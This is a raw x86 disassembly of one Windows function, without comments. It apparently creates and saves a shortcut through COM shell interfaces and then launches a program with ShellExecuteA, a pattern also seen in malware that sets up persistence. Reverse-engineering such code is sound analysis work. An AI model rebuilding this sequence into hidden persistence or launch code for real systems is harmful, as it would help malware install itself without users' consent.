mov word [ebp - 0x13b], 0x100
call fcn.0040b880
mov esi, eax
mov word [ebp - 0xba], 0x7b
lea eax, [ebp - 0xa8]
mov byte [ebp - 0xb8], 1
push eax
lea ecx, [ebp - 0xba]
call fcn.0040a410
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.00469c10
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x548]
call fcn.00469bb0
add esp, 4
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x7f
call fcn.00465c20
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7d
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0040bf00
add esp, 0x18
test al, al
jne 0x447a3e
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x447a3e
lea eax, [ebp - 0x5c]
push eax
push 0x50c4e0
push 1
push 0
push 0x50c510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x447a38
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x248]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0xa8]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov ecx, dword [ebp - 0x5c]
lea edx, [ebp - 0x258]
push edx
push 0x50c4f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x447a2f
push 0x208
lea eax, [ebp - 0x9a8]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x9a8]
lea ecx, [ebp - 0x40]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.004027a0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x258]
lea edx, [ebp - 0x9a8]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.004027a0
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0x444c5848
mov esi, eax
mov word [ebp - 0x12f], 0x100
call fcn.0040b880
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x580]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465e10
sub esp, 0x18
mov byte [ebp - 4], 0x80
mov ecx, esp
push 0x533b44
call fcn.00465e10
mov byte [ebp - 4], 0x4e
call fcn.0041f530
add esp, 0x30
lea ecx, [ebp - 0x454]
call fcn.00402660
lea ecx, [ebp - 0xa8]
call fcn.00402660
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.00402660
lea ecx, [ebp - 0x36c]
call fcn.00468000
lea ecx, [ebp - 0x270]
call fcn.00402660
lea ecx, [ebp - 0x2fc]
call fcn.00468000
lea ecx, [ebp - 0x2c4]
call fcn.00468000
lea ecx, [ebp - 0x568]
call fcn.00402660
lea ecx, [ebp - 0x43c]
call fcn.00402660
lea ecx, [ebp - 0x620]
call fcn.00402660
lea ecx, [ebp - 0x580]
mov byte [ebp - 4], 7
call fcn.00402660
lea ecx, [ebp - 0x47c]
call fcn.00462b10
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00467330
mov ebx, dword [ebp - 0xdc]
test al, al
je 0x4450d0
lea ecx, [ebp + 8]
call fcn.00402660
lea ecx, [ebp + 0x20]
call fcn.004638b0
lea ecx, [ebp + 0x30]
call fcn.004638b0
lea ecx, [ebp + 0x40]
call fcn.004638b0
lea ecx, [ebp + 0x50]
call fcn.004638b0
lea ecx, [ebp + 0x60]
call fcn.004638b0
lea ecx, [ebp + 0x70]
call fcn.004638b0
lea ecx, [ebp + 0x80]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret